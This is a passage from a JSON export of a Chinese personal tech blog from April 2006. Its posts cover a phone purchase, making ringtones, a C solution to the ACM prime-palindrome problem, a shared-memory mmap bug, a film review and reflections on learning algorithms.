anyway.\u003cbr\u003e\n \u003cbr\u003e\n如果你找到了平静和幸福，他们可能会嫉妒你\u003cbr\u003e\n不管怎样，你还是要快乐\u003cbr\u003e\nIf you find serenity and happiness, they may be jealous;\u003cbr\u003e\nBe happy anyway.\u003cbr\u003e\n \u003cbr\u003e\n你今天做的善事，人们往往明天就会忘记\u003cbr\u003e\n不管怎样，你还是要做善事\u003cbr\u003e\nThe good you do today, people will often forget tomorrow;\u003cbr\u003e\nBe good anyway.\u003cbr\u003e\n \u003cbr\u003e\n即使把你最好的东西给了这个世界\u003cbr\u003e\n也许这些东西永远都不够\u003cbr\u003e\n不管怎样，把你最好的东西给这个世界\u003cbr\u003e\nGive the world the best you have,\u003cbr\u003e\nAnd it may never be enough;\u003cbr\u003e\nGive the world the best you have anyway.\u003cbr\u003e\n \u003cbr\u003e\n你看，说到底，它是你和上帝之间的事\u003cbr\u003e\n而决不是你和他人之间的事\u003cbr\u003e\nYou see, in the final analysis, it is between you and God;\u003cbr\u003e\nIt is never between you and them anyway.\u003cbr\u003e\n  \u003cbr\u003e\n德兰修女\u003cbr\u003e\nFrom Mother Theresa\u003c/p\u003e","title":"记录德兰修女箴言"},{"content":"央视电视剧中\u0026rsquo;水浒传\u0026rsquo;主题曲中有一句叫\u0026rsquo;该出手时就出手\u0026rsquo;，这话一点儿都不假！^_^。眼见着五一黄金周就要到来，各大商场都开始了\u0026rsquo;五一前热身战役\u0026rsquo;，纷纷推出自己的活动，其他的我到不在乎，手机倒是我最关注的！在适当的时间和适当的地点以适当的价钱，终于拿到了我倾慕已久的MOTO-A780智能机！\n有过去年五一节买机器的经验，五一的购物人流简直就像潮涌般，特别是在移动通讯商场，那真叫一个水泄不通！特别是诺基亚和摩托罗拉的柜台前面，简直就像明星签名售书一样，围了个左三层右三层，简直没有立足之地，还哪谈得上舒心购物亚，简直就是抢！所以今年我和GF商量好了，不再估计那不到百元的降价，提前2周购入心爱的机器。\n走遍各大商场，发现还是国美最物美价廉，目前看来像鸿信通、北斗手机网都不保险，至于苏宁，没货，其他大商场忒贵，不敢问津。国美也不是一口价的，死说活说终于砍下来几十块RMB，加上各种礼品，也弄了个\u0026rsquo;锅满盆盈\u0026rsquo;。拿到手中沉甸甸的A780心中自然很是欣喜！开完发票，写完三包和质保，查了查没什么坏点一类的大毛病，就抱着机器闪人了！\n回到小窝，坐在床上对着说明书，自然是少不了一顿\u0026rsquo;摆弄\u0026rsquo;，把各种功能试了个遍，直到\u0026rsquo;筋疲力尽\u0026rsquo;想睡觉！总体来说MOTO的机器还不错，摄像头采回的照片很清晰，手写识别也没得说，棒就一个字！内置的金山词霸用起来那叫个爽！\n唯一感到有些遗憾的是这款机器是简配，不带数据线，只能使用蓝牙传输数据，而我的本本由于年代\u0026rsquo;久远\u0026rsquo;，并不支持蓝牙，让我有些郁闷！不过总有解决问题的办法，没有哪一款机器是完美的。已经给A780设定了闹钟，明天早起就靠它了！^_^\n","permalink":"https://tonybai.com/2006/04/17/buy-moto-a780/","summary":"\u003cp\u003e央视电视剧中\u0026rsquo;水浒传\u0026rsquo;主题曲中有一句叫\u0026rsquo;该出手时就出手\u0026rsquo;，这话一点儿都不假！^_^。眼见着五一黄金周就要到来，各大商场都开始了\u0026rsquo;五一前热身战役\u0026rsquo;，纷纷推出自己的活动，其他的我到不在乎，手机倒是我最关注的！在适当的时间和适当的地点以适当的价钱，终于拿到了我倾慕已久的MOTO-A780智能机！\u003c/p\u003e","title":"'该出手时就出手'"},{"content":"大早起来，发现外面居然飘起了大雪！要知道前几天桃花都盛开了！除了’冷’还是’冷’，在洗漱间时那身上抖成一团了！刷牙都不需要手了，把牙刷放在牙齿上，等3分钟，牙就刷好了^_^。\n我在我的Blog中很少谈及工作中的趣事，不过这次太搞笑了，忍不住要说上一说。这也是一件刚才发生的趣事。\n我们项目组中一般聊天都用Google Talk，自从前两周GTalk升级后，开始支持头像了。由于是升级不久很多人都使用的是Google提供的一些简单头像，今天早上突然发现一项目组的兄弟换了头像，自然很是感兴趣，特别是头像是一个小baby的照片，我猜想是他的小Baby，为了证实我的猜测，我就和他聊了一会儿，就在这聊天的过程中，一件趣事诞生了，让我自己也忍俊不禁！\n这位兄弟来公司时间不长，知道是社招的，平时也只是项目上的交流，并没有涉及到生活上的。的确让我猜中了，那个是他的Baby，19个月，长得很像我们这位兄弟，他告诉我现在这个小Baby由奶奶在外地带着，他和他老婆都忙，没时间照看！他说到上周去看望小Baby，小Baby只和妈妈亲，和他不亲。这时候我插了一句话：’呵呵，男孩么，如果是女孩就不一样了’！说完这句话我就感觉有些后悔！小孩子在小的时候很难从外貌分清男女的，我又冒失了。果不其然，我的这位兄弟回答：\u0026ldquo;女孩\u0026rdquo;。我自己心里暗自哈哈大笑，想自己真是笨！男女不分！遂赶紧说抱歉的话！这位兄弟当然也不会介意我的冒失！\n自己又想了想，有这么一个小Baby，的确给家庭带来了不少的欢乐，当然也有烦恼！不过这才是生活！两个大人围着一个小Baby转，其乐融融！我也向同事表示了羡慕之情！^_^\n","permalink":"https://tonybai.com/2006/04/17/make-mistake-in-differentiating-gender/","summary":"\u003cp\u003e大早起来，发现外面居然飘起了大雪！要知道前几天桃花都盛开了！除了’冷’还是’冷’，在洗漱间时那身上抖成一团了！刷牙都不需要手了，把牙刷放在牙齿上，等3分钟，牙就刷好了^_^。\u003c/p\u003e","title":"'男女不分'"},{"content":"对于像A780这样的智能手机，拿MP3当手机铃声自然不在话下，只是由于’正规’的MP3歌曲’体型’都很庞大(至少4M以上)，而且铃声么一定要听高潮部分才过瘾，所以自己动手，丰衣足食，亲自制作自己喜爱的手机铃声也不错！\n制作MP3说来也很简单，无非是使用音轨编辑软件，而在这个领域中，Cool Edit又无疑是应用最广泛的一个！至于如何获取Cool Edit，那就仁者智者了^_^。\n制作MP3铃声的流程，一句话：\u0026ldquo;加载源文件，Shift + 左右方向键选择音轨，右键快捷菜单选择’复制为新的’，另存为…即可\u0026rdquo;。简单吧，这样也不用花钱下载了，关键是想制作哪首曲子就制作哪首曲子，中国移动不有那句话吗，叫什么’你的地盘你做主’^_^，我们这里也是’我的铃声我做主’。\n","permalink":"https://tonybai.com/2006/04/17/make-mobile-bell-myself/","summary":"\u003cp\u003e对于像A780这样的智能手机，拿MP3当手机铃声自然不在话下，只是由于’正规’的MP3歌曲’体型’都很庞大(至少4M以上)，而且铃声么一定要听高潮部分才过瘾，所以自己动手，丰衣足食，亲自制作自己喜爱的手机铃声也不错！\u003c/p\u003e","title":"我的铃声我做主"},{"content":"33.00s和14.27s，两个截然不同的运行时间值，两次提交尝试解决素数回文问题，终于搞定了！用两个字形容’恼人’！算法不复杂，就是要求时间很’紧’，大部分工作都在考虑着如何缩短运行时间。桃花在冷空气袭来的日子都开了，我的心也算可以放下了！\n最近项目吃紧，连续两天没有做ACM习题了，手都有些生了^_^！按照Volume1的习题顺序，该轮到1004题了！这是一道关于’素数回文(Prime Palindromes)’的习题，源自’USACO’，估计是什么比赛吧！大家一定都知道什么是素数，或者又叫质数！那么什么是回文(Palindromes)，不用定义，举几个例子大家就明白了，如121、1331、14741、89098等等看起来对称的数都叫做回文数，具体的定义或者数学上的定义我也没找到，好像对解决此题关系也不大！\nOk!我们来看一下题目，题目很简单，找出输入的两个数之间的所有素数回文，并按照数值顺序输出，每行一个数！要求：运行时间在15秒以内。输入值范围[5, 1000000000]。\n如果不估计时间，大家脑中一定选中了’遍历’这种方案，而达到目标前所要解决的两个问题包括如何判断一个数是否是一个素数和如何判断一个数是否为一个回文数？\n如何判断素数？这个在大学学习C语言的时候好像是习题，不过算法早已经忘到了’九霄云外’，这样自己就顺手写了一个宏：\n#define IS_PRIMER(i) \\\n((i \u0026lt;= 10) \\\n? (i == 2 || i == 3 || i == 5 || i == 7) \\\n: (((i % 2 == 0) || (i % 3 == 0) || (i % 5 == 0) || ( i % 7 == 0)) ? 0 : 1))\n用几个数测了一下，屡试不爽！为了更加精确的测试，还是到网上找一个素数表吧！这样有参照的测试势必比较准确无误。试着用这个宏找出500以内的所有素数，发现与素数表中的个数不符，仔细查查，一眼就看到了121这个数，按照我的算法，它就是个’素数’了，但实际上它还能被11所整除，别忘了素数的定义：\u0026ldquo;不能被1和自己之外的任何数整除\u0026rdquo;，看来我的算法是’漏洞百出’，不过在100之内它是有效的，起码算是个’Uncompleted Algorithm’^_^。重新修整一下，改进版如下：\nint is_primer(int x) {\nint i;\nfor (i = 2; i \u0026lt;= sqrt(x); ++i) {\nif (x % i == 0) {\nreturn 0;\n}\n}\nreturn 1;\n}\n这种算法也是网上常见的算法，如果和外层的遍历一起来看，这是个接近O(n^2)的算法，显然性能不高！不过目前还少有好算法公布在网上，就暂用这个吧，我也想不出来什么好方法！也许需要好的数学功底才能提高该算法性能！\n如何判断回文？这就是个’见仁见智’的问题了。这里提供两种方案，感觉性能上差不多，各有千秋：\n[方案一]\n/* 获取一个数i的位数n */\n#define GET_DIGITS(n, i) do { \\\nn = 1; \\\nwhile (i \u0026gt;= pow(10, n)) { \\\nn++; \\\n} \\\n} while(0)\n/*\n* 从外到内，比较每一个对称位上的数值是否相等\n* 如果全相等则是回文，否则不是。\n*\n* ! 这种方法还是很容易想出来的\n*/\nint is_palindrome(int x) {\nint i = 0;\nint j = 0;\nint n = 0;\nint high = 0;\nint low = 0;\nGET_DIGITS(n, x);\nj = (n % 2) ? ((n-1) / 2) : (n / 2);\nfor (i = 1; i \u0026lt;= j; ++i) {\nlow = x % (int)(pow(10, i));\nhigh = x/(pow(10, n-i));\nif (low != high) {\nreturn 0;\n}\n}\nreturn 1;\n}\n[方案二]\n/*\n* ‘回文数’再造\n* 从低位到高位，按’低位 * 10 + 高位’累加的方式得到一个数\n* 如果该最终数值与原数一致，则为回文数，否则不是\n*\n* 这个方法对后面的方法还是很有启发的！\n*/\nint is_palindrome(int x) {\nint rv = 0;\nint i = x;\nwhile (i != 0) {\nrv = rv * 10 + i % 10;\ni = i / 10;\n}\nreturn rv == x;\n}\n现在两个难题都解决了，我们只需要遍历加判断即可。那么是先判断素数还是先判断回文呢？看起来判断素数较浪费时间，那我们先判断回文吧！第一次提交代码，不出所料，运行时间33s(我想不止33s，也许33s只是服务器的一个时间上限，大于该时间的统一显示为33s)。看来我们的重新考量一下我们的方案了！这种遍历+判断的方法无论如何是不能够蒙混过关的了^_^。\n那么怎么来做呢？方案一是拿来一个数，我们来判断是否是回文，这样绝大部分的数都不是回文数，那么这些判断也都是无效的，但却占用了大量的时间，我们能不能尽量让我们每步操作都是生成结果之路上有效的一步呢？我们来尝试自己生成一定范围内的回文数。回文数组成是有一定的规律可循的。现在我们可以将问题集中在’如何生成位数为n的所有回文数’上！我们举几个例子就能看得出来：\n[例子]\n6446 — 我们可以看成两个部分 — 高二位的64和低二位的46互为反序数，我们也可以理解为高二位的值随着低二位的变化而变化；\n64546 — 我们可以看成三个部分 — 高二位的64和低二位的46互为反序数，再加上中间的一个独立变化的值，我们也可以理解为高二位的值随着低二位的变化而变化；中间值独立变化；\n可以看出我们的算法可以将处理分为两类：奇数和偶数。\n1、如何生成位数为偶数位的所有回文数？\n算法名称：gen_even_palindrome\n输入项：n (回文数的位数)\n算法步骤：\ngen_even_palindrome(n) {\nj = n/2; /* j为独立变化的低位部分的位数 */\nk = (10^j – 1); /* k为独立变化的低位部分的上限值 */\nfor (i = 1; i \u0026lt;= k; ++i) {\n/*\n* 这里的i就是低位部分独立变化的值\n*/\nif (i % 10) {\n/* 如果 i = 10、1000等这些10^n的数，它们是没有回文的 */\ncontinue;\n}\nrv = _gen_even_palindrome(i, n); /* rv就是一个n位回文数 */\n}\n}\n_gen_even_palindrome(x, n) {\nint i = x;\nint j = 1;\nint rv = 0;\n/*\n* 利用低位部分的信息，造出高位部分的数值\n*/\nwhile (i != 0) {\nrv += ((i % 10) * pow(10, n-j));\ni = i / 10;\nj++;\n}\n/* 最后的回文数还要加上低位部分的数 */\nrv += x;\nreturn rv;\n}\n2、如何生成位数为奇数位的所有回文数？\n算法名称：gen_odd_palindrome\n输入项：n (回文数的位数) n \u0026gt; 1 对n = 1作特殊处理便是\n算法步骤：\ngen_odd_palindrome(n) {\nj = (n + 1)/2; /* j为独立变化的低位部分的位数 *\n/\nk = (10^(j-1) – 1); /* k为独立变化的低位部分的上限值 */\nfor (h = 0; h \u0026lt;= 9; ++h) { /* 中间位独立变化 */\nfor (i = 1; i \u0026lt;= k; ++i) {\n/*\n* 这里的i就是低位部分独立变化的值\n*/\nif (i % 10) {\n/* 如果 i = 10、1000等这些10^n的数，它们是没有回文的 */\ncontinue;\n}\nrv = _gen_odd_palindrome(i, h, n); /* rv就是一个n位回文数 */\n}\n}\n}\n_gen_odd_palindrome(x, mid, n) {\nint i = x;\nint j = 1;\nint rv = 0;\n/*\n* 利用低位部分的信息，造出高位部分的数值\n*/\nwhile (i != 0) {\nrv += ((i % 10) * pow(10, n-j));\ni = i / 10;\nj++;\n}\n/* 最后的回文数还要加上中间数和低位部分的数 */\nrv += mid * pow(10, (n-1)/2);\nrv += x;\nreturn rv;\n}\n至此，我们算是解决了如何生成回文数的问题了，不过目前还有一点不能满足，那就是按照数值顺序来输出回文素数，不知道大家发现没有，上面的回文数生成算法不能保证按照数值顺序生成会文数，所以我们还要再动动脑筋！\n这里不妨尝试一下作弊！^_^ 由于回文数生成算法不能保证按照数值顺序输出回文数，那么我们势必需要记下来已经生成的回文数，那么到底有多少回文素数需要记下来呢？我们可以利用前面提到过的’遍历’方案在本地计算一下，结果是不到10000个，那么OK！我们就分配一个大数组，并用一个static global variable记下当前数组使用情况，待所有的回文素数都写入数组，我们对该数组进行一次quick sort，这又需要有个quick sort算法(O(nlogn)级别的，简单快速是我选它的原因)，不过这个比较容易，这里也不详述了。\n把这个’回文生成’解决方案提交后，得出14.27s的结果，状态: Accepted。对了千万别忘了，这里还加了些优化，比如不存在位数为6的素数回文，所以当判断n = 6就直接返回，省着走冤枉路！14.27s属于刚及格范畴！该题肯定还有更快的解法，由于太烦，这里就浅尝辄止了！^_^\n","permalink":"https://tonybai.com/2006/04/16/solve-prime-palindromes/","summary":"\u003cp\u003e33.00s和14.27s，两个截然不同的运行时间值，两次提交尝试解决素数回文问题，终于搞定了！用两个字形容’恼人’！算法不复杂，就是要求时间很’紧’，大部分工作都在考虑着如何缩短运行时间。桃花在冷空气袭来的日子都开了，我的心也算可以放下了！\u003c/p\u003e","title":"恼人的'素数回文'"},{"content":"工作的时候喜欢听歌曲，当很投入的时候，实际上歌曲是’左耳进右耳冒’。今天正写着代码呢，突然耳畔响起一段相当标准的普通话音，切换到MP3播放器已看，原来是GF加到MP3列表中的一段普通话考试的练习音，很简短的一段故事，细致品味后却值得每个工作的人反思！\n在网上搜了一下，这段话摘自’没有任何借口’一书，这本书早就想看，可就是没排出时间，感觉这个故事很是有现实意义，所以这里摘录下来，就权当收藏了吧，也顺便利用故事的引子来作为这篇Blog的标题。\n故事全文如下：\n阿诺德和布鲁诺同时受雇一家店铺，拿着同样的薪水。可是一段时间后，阿诺德青云直上，而布鲁诺却仍在原地踏步。\n布鲁诺很不满意老板的不公正待遇。终于有一天，他到老板那儿发牢骚了。老板一边耐心地听着他的抱怨，一过在心里盘算着怎样向他解释清楚他和阿诺德之间的差别。\n布鲁诺，老板说话了，您去集市一趟，看看今天早上有什么卖的东西。\n布鲁诺从集市上回来向老板汇报说，今早集市上只有一个农民拉了一车土豆在卖。\n有多少？老板问。\n布鲁诺赶快戴上帽子又跑到集市上，然后回来告诉老板说一共有40袋土豆。\n价格多少？\n布鲁诺第三次跑到集市上问来了价格。\n好吧，老板对他说，现在你坐在椅子上别说话，看看别人怎么说。\n阿诺德很快就从集市上回来了，向老板汇报说，到现在为止只有一个农民在卖土豆，一共40袋，价格是多少；土豆质量不错，他带回来一个让老板看看。这个农民一个钟头以后还会运来几箱西红柿，据他看价格非常公道。昨天他们铺子的西红柿卖得很快，库存已经不多了。他想这么便宜的西红柿老板肯定会要进一些的，所以他不仅带回一个西红柿做样品，而且把那个农民也带来了，他现在正在外面等回话呢。\n此时老板转向布鲁诺，说：现在你知道为什么阿诺德的薪水比你高了吧？\n","permalink":"https://tonybai.com/2006/04/14/why-arnold-better-than-bruno/","summary":"\u003cp\u003e工作的时候喜欢听歌曲，当很投入的时候，实际上歌曲是’左耳进右耳冒’。今天正写着代码呢，突然耳畔响起一段相当标准的普通话音，切换到MP3播放器已看，原来是GF加到MP3列表中的一段普通话考试的练习音，很简短的一段故事，细致品味后却值得每个工作的人反思！\u003c/p\u003e","title":"为什么布鲁诺薪水不如阿诺德？"},{"content":"之所以写这样的一个话题，是因为最近一段时间经常收到一些陌生人的邮件，邮件的内容大致相似，一般都是看到我的Blog后，觉得我的Blog经营的还不错，和我这个做技术的有共同语言，想结识一下。能结识这些朋友自己自然感到很高兴，这也可以说是对我的Blog的一种肯定！\n晚上在网上随意’游荡’，看到’Laobai‘的一篇文章’blog已成为媒体？‘，这篇文章讲述了Laobai对于blog的新认识。自己也同时反思了一下，对于名人或者名博，blog也许就像’Laobai’说得那样成为了媒体，成为了知名企业的’代言’人；而对于我们这样的平民博客，我渐渐地觉得Blog是否已经成为一个交友中心了？Blog写得时间长了，其实会渐渐的形成一种风格，而我觉得恰恰是这种风格吸引着很多网络上’志同道合’的朋友。以我为例，’Herfool‘觉得我的blog有一定的技术含量而愿意和我结识，Herfool本人也是做技术的，而且方向还很时髦 — Web搜索；’Ada丛‘则是’喜欢我的Bus’，才想在’Wealink’与我link的；甚至有一些朋友通过Blog了解你，并给你提供很多工作上的机会，Dreamhead在这以前曾经不止一次和我谈起。\n其实目前很多BSP都和一些社交服务提供商有着合作，比如Blogbus和Wealink，它们探索着如何利用Blog作为社交圈的一个重要元素，我想这也是Blog作为一个交友中心功能的真实体现吧！很愿意通过自己的Blog结识到众多的朋友，你们也让我更有信心经营好我的这块’一亩三分地’^_^\n","permalink":"https://tonybai.com/2006/04/13/blog-to-be-friend-making-center/","summary":"\u003cp\u003e之所以写这样的一个话题，是因为最近一段时间经常收到一些陌生人的邮件，邮件的内容大致相似，一般都是看到我的Blog后，觉得我的Blog经营的还不错，和我这个做技术的有共同语言，想结识一下。能结识这些朋友自己自然感到很高兴，这也可以说是对我的Blog的一种肯定！\u003c/p\u003e","title":"Blog已成为交友中心？"},{"content":"就在昨天，就在我们的项目要结项的时候，一个影响力不亚于’广岛原子弹’的bug出炉了，蒙蔽我近一个月的问题终于被澄清了，不过为时已晚，项目即将上线，如果想彻底地解决这个问题，需要对整个系统的实现架构作调整，目前能做的只是’亡羊补牢’了。\n这里先简单的说一下问题的原因吧！熟悉Unix编程的人都知道有’共享内存映射’这回事儿，我们的问题恰巧就出在对’共享内存映射’的使用不当上。由于我们使用的底层库采用的是mmap的匿名共享内存映射，所以这里例子中的共享内存映射默认就指使用mmap的映射。我们可以利用下面的一个例子简单说明一下我在项目中遇到的问题，实际上看完这个’精简版’之后你会认为这很简单亚，怎么会让你困惑一个月，的确是这样不假，但是如果加上了繁杂的上下文后，找起来也并不是件容易的事情。\n假设我们有这样的4个进程，它们的亲缘关系是这样的：A是爷爷，B、C是兄弟，并同为A的儿子，而D则是孙子，是B的儿子，用图表示如下：\nA\n| —- B\n| |—-D\n| | —- C\n问题就出在D利用mmap映射到匿名设备上后，将返回的起始地址赋值给一块由A创建，B、C、D都继承并能访问到的共享内存中的指针。C的任务是读写这块由D创建的这块儿共享内存中的数据。明眼人一眼就可以看出，C是访问不到这块D映射的共享内存的，即使C知道那块内存在D中的地址，但是由于C没有映射，在C进程空间中即使访问那个相同的地址，实际上访问的虚拟内存页也是不同的，最终的结果就是dump core。不光是C就连B、A也都无法访问D的那块共享内存，原因这里不详说，任一本质量上乘的有关Unix编程的书都会讲到这一点。\n出现这样的问题，自己有推卸不掉的责任，先撇开责任不谈，反思自己在查找bug过程中的行为，我觉得有两个问题是今后需要改正的：\n1、始终质疑别人的代码，导致在查找bug的时候戴上了’有色眼镜’，思维也发生了倾斜，把大部分时间和精力都花在查找别人的代码漏洞中，而忽略了对自己代码的细致地分析。不过这个过程到让我学了不少以前未接触的’知识领域’^_^。\n2、测试时态度不够端正。其实项目负责人当初就对这块儿的可靠性有质疑，只是他当时也不能具体说明到底哪个地方的使用会出问题，回头看来自己在测试时测试用例不全，也是导致没有及时发现对症问题的一个重要原因，从而失去了走向查找出正确问题所在之道的机会！\n问题既然发生了，那么我们如何来解决这个问题呢？我和leader一起想了若干种方法结果都被我们一一否决，最后拿出了一个折衷的方案，该方案虽然不存在上述问题了，但是它也让我们的系统不能完全满足用户的需求。这个方案说来也简单那就是采用’池策略’，而且这个池也是一个扩展性不好的池，也就是说我们在系统初始化的时候就预先映射完毕所有的内存，这样所有的A进程的子进程都会继承A的内存映射关系，从而解决上述问题，不过这样做实际上就给系统加了一个限制，容量上的限制。\n在接下来的另一个类似需求的项目中我们还需要使用这样的架构，而且这个延续的项目需要的系统容量更大，在这个系统中我们需要对整体的系统架构进行改动了，否则一旦出问题，就不再是’亡羊’就可以’补牢’的了！\n目前部门内所有项目的架构基本上都是基于’共享内存’的，虽然’共享内存’是最快的IPC对象，但是它同样给系统带来进程同步性能低下、亲缘关系错综复杂等弊端，甚至于对于我们目前项目这样的需求都不能很好的支持。程序庞大，动一发而牵全身。当然对架构的改造也不是一朝一夕之事，需要的是魄力、时间和耐心，起码让我们的Unix程序符合K.I.S.S这种最适合Unix的文化，目前我们采用的这种架构还是比较臃肿的。\n","permalink":"https://tonybai.com/2006/04/12/begin-fix-before-lost-too-much/","summary":"\u003cp\u003e就在昨天，就在我们的项目要结项的时候，一个影响力不亚于’广岛原子弹’的bug出炉了，蒙蔽我近一个月的问题终于被澄清了，不过为时已晚，项目即将上线，如果想彻底地解决这个问题，需要对整个系统的实现架构作调整，目前能做的只是’亡羊补牢’了。\u003c/p\u003e","title":"开始'亡羊补牢'"},{"content":"上个周末，沈城天气格外暖和，春天的气息已十分浓厚，恰是出游逛街之佳日。由于世界园艺博览会的缘故，我有了购相机的计划，但由于不是很熟悉，所以就先借了一个同事的机器’热热身’，也顺便发挥一下我积蓄已久的’创意’储备^_^，也解决一下’我的相册‘的空洞寂寞之苦。\n我不喜欢在blog上贴图，我喜欢简单质朴的界面，所以所有的’作品’(呵呵，有点儿不谦虚^_^)都放在我的flickr相册中。阳春三月自然该去享受大自然的美丽景色，不过由于时间仓促，我们并没有出行计划，只能在钢筋混凝土的城市中寻找’创意’之处了。说实在话我们公司的软件园还是挺漂亮的，只不过恰逢春天草地’烧荒’，弄得园子里’面目全非’，唯有那刚刚解冻的人工湖值得记录，也就是在这人工湖中，我们发现了一条’爱上镜的小花鱼‘，当我举起相机拍摄的时候，它居然久久不愿离去，真是把我们’逗笑’了，GF遂给之起名为’爱上镜的鱼’，看着这条鱼儿满身花纹，我就又添上个定语–’小花’。先不从拍摄的技术本身评论，起码拍这样的景色高兴就好！\n进入灰色的城市内，很难发现可以令人’惊异’的’亮点’了，不过在沈城科学馆我还是看到了一些让我看着高兴的咚咚。’我的机器人‘、’太空行走‘和’孩子们心中的世界‘就是这样纪录下来的。这是一面影壁墙，墙上嵌满了3~6岁左右孩子们儿童真的想象力！\n城市中离不开’Shopping Mall’，’Modern Mall‘则是我的一个创意，看起来很普通的一张，其实是我在做电梯时发觉的，这张也是在电梯上运动中拍摄的，自我感觉良好！^_^\n我很喜欢小动物，在Shopping Mall的顶层发现了一个’宠物世界’，到处是一些可爱的小动物，遂有了’小鸡嬉戏‘和’昂首挺胸的鹦鹉先生‘两幅照片，谈不上创意，只是纪录一些可爱的情景！\n同事的相机很不错，Nikon Coolpix 8700也是家庭型数码相机的高端了，不知道我的’作品’是否毁了这款相机的’名誉’。^_^\n","permalink":"https://tonybai.com/2006/04/10/a-group-of-amateur-work/","summary":"\u003cp\u003e上个周末，沈城天气格外暖和，春天的气息已十分浓厚，恰是出游逛街之佳日。由于世界园艺博览会的缘故，我有了购相机的计划，但由于不是很熟悉，所以就先借了一个\u003ca href=\"http://navigating.blogbus.com/\"\u003e同事\u003c/a\u003e的机器’热热身’，也顺便发挥一下我积蓄已久的’创意’储备^_^，也解决一下’\u003ca href=\"http://www.flickr.com/photos/bigwhite/\"\u003e我的相册\u003c/a\u003e‘的空洞寂寞之苦。\u003c/p\u003e","title":"一组业余之作"},{"content":"又是一部’妈妈再爱我一次’的影片，煽情之处此起彼伏，相信看过这部片子的人%80会’留下’热泪，呵呵，不好意思，我也是这%80的人当中的一员，不过’留泪’也代表你完全入戏了。看完这部戏的最大感受就是’这是一次心灵的净化，人的本性的释放’。\n本来昨天要看张元新作’看上去很美’的，记得上次在电影院看’纳尼亚传奇’之前，有两个新片介绍，一个是’一球成名’，另一个就是’看上去很美’，电影院中的观众都被那个’调皮而又充满叛逆色彩、灵性十足的小家伙儿方枪枪吸引了，都在讨论着要看这部片的想法。不过昨天的计划被GF打乱了，她非要看’暖春’说后者感人。就这样我们开始了’一把鼻涕一把泪’的观看过程。\n这部剧与’妈妈再爱我一次’最最相像’的一点就是小花的’哭声’，是那么的有感染力，与其说是片子中的剧情让人流泪，倒不如说是小花的哭声把人们感染了。其实我感觉拍摄这种充满情感元素在其中的电影是中国电影的特色，中国从旧社会过渡到目前的状态，这期间又太多的素材了。有人说这是拿中国的贫穷落后去吸引外国人的目光，我却我这么认为，像’暖春’这部片子，我想即使是目前的中国也会存在这样的现象的，承认自己的落后，迎头赶上才是我们需要的，而不是藏着掖着，生怕别人知道自己有多落后。有些跑题了。影片真正能打动人的是蕴含在其中的情感，而这种情感是人类共有的，不分肤色、不分国度，我想这也是同题材经典影片’那人.那山.那狗’在国外成功的原因吧。\n今天查资料才知道’暖春’这部影片是2004年第27届百花奖优秀故事片奖得主，饰演该片中’爷爷’角色的演员田成仁相信大家都是耳熟能详的，这位老人演技自不必说，其表现出的那种真挚的、善良的感情，相信打动的不只是一代人了。饰演小花的张妍则是从一千多个孩子中脱颖而出的佼佼者，看完影片的人对其印象应该尤为深刻，一个初出茅庐的小女孩能把小花这个角色演绎得如此感情丰富，有感染力已实属不易。\n这里向大家推荐这部影片，因为它给了我们一次净化心灵的机会，让心灵底处的人的本性得以释放，让我们重新审视这个物欲横流的社会，这难道不是很难得的吗！\n","permalink":"https://tonybai.com/2006/04/07/film-nuan-chun/","summary":"\u003cp\u003e又是一部’妈妈再爱我一次’的影片，煽情之处此起彼伏，相信看过这部片子的人%80会’留下’热泪，呵呵，不好意思，我也是这%80的人当中的一员，不过’留泪’也代表你完全入戏了。看完这部戏的最大感受就是’这是一次心灵的净化，人的本性的释放’。\u003c/p\u003e","title":"暖春-一次心灵的净化"},{"content":"关于算法的文章我一直想写，但算法是我的软肋，自己难于下笔。首先自己非科班出身，没有进行过系统的算法设计课程训练；再者自己到目前为止还从未独立设计过一个完整的、实用的算法，在平时工作中较少的涉及到算法设计，这不能说不是一个遗憾。也许有人会问：\u0026ldquo;算法难道还没有过时吗，算法不是属于\u0026rsquo;Donald E. Knuth\u0026lsquo;那一代人的事情吗?\u0026rsquo;。我很难回答这个问题，不过当我今天看到CSDN上的一篇题为\u0026rsquo;算法是百度工程师的利器\u0026rsquo;的文章后，我隐约看到了算法的回归！\n谈到目前互联网上最热的是什么？100个人有99个会回答：\u0026lsquo;搜索\u0026rsquo;，剩下的一个的答案是\u0026rsquo;Google\u0026rsquo;。没错！技术公司出身的Google和Baidu在成功背后到底是什么在支撑呢？名为技术，实则算法。Google的成功难道不是\u0026rsquo;page rank\u0026rsquo;算法的贡献么？Baidu站在行业的顶峰其脚下也少不了优秀的算法设计。从Baidu工程师入司的练习题也可以看出Baidu是何等的重视算法。可以说搜索引擎技术带来了算法的回归。\n2006第四期\u0026rsquo;程序员\u0026rsquo;杂志推出了一期技术专题，叫\u0026rsquo;算法的力量\u0026rsquo;，在我的印象中\u0026rsquo;程序员\u0026rsquo;杂志好像是第一次推出算法专题。由于没买这期杂志所以这里也不知道其中的细节。谈到算法我们不能不提到算法的学习。Donald E. Knuth的\u0026rsquo;The Art Of Computer Programming\u0026lsquo;可以说是举世公认的算法领域的鼻祖之作，以至于很多人把这三卷书买回家恭恭敬敬的\u0026rsquo;供起来\u0026rsquo;^_^。从这点也可以看出如果拿这本书作为教程的话，难度可见一斑。我们还是介绍点\u0026rsquo;通俗\u0026rsquo;的。首当其冲的就是MIT的\u0026rsquo;算法导论\u0026rsquo;开放课程(6046)，最新一期的开放课程还有Video可供下载，主讲教师就是\u0026rsquo;算法导论第二版\u0026rsquo;的作者之一Charles E.Leiserson。我觉得大师级人物的课与一般讲师不同之处在于其对知识本源的发掘、揭示和解释，有着亲身体会的大师们的见解会让你身临其境印像深刻。当然这门儿课也是一门\u0026rsquo;大部头\u0026rsquo;的课，其教材\u0026rsquo;算法导论第二版\u0026rsquo;也是一本足以\u0026rsquo;砸死人\u0026rsquo;的\u0026rsquo;大砖头\u0026rsquo;，国内早在2003年就出版了其英文版，出版社应该是高教。记得当时还在读大三，但我去母校的大学书店买书的时候，店员告诉我\u0026quot;这是哈尔滨第一批展示品，本来是不准备卖的，你消息还挺灵通的吗\u0026rdquo;。就这样我买下了那本大部头，遗憾的是到目前为止它还和刚买来的时候一样新^_^。\n正如百度首席架构师所说：\u0026ldquo;搜索引擎开发中使用的基本算法大部分都在大学课程中涵盖了。对于一个人来说，在学校学习过这个算法，和能够灵活运用是两个概念。只有通过参与较多的项目开发和程序编写，将算法和应用相结合，才能在这方面得到较好的发展。\u0026quot;，单单死扣书本上的东西去学习算法是不能设计出好算法的，必须通过一个不断思考、实践、创新和总结的良性循环，你才能发现算法设计的真谛。最近自己也在理论和实践相结合的锻炼自己的算法能力，而尝试ACM练习是一个很好的将理论和实践相结合的方法，大家也不妨试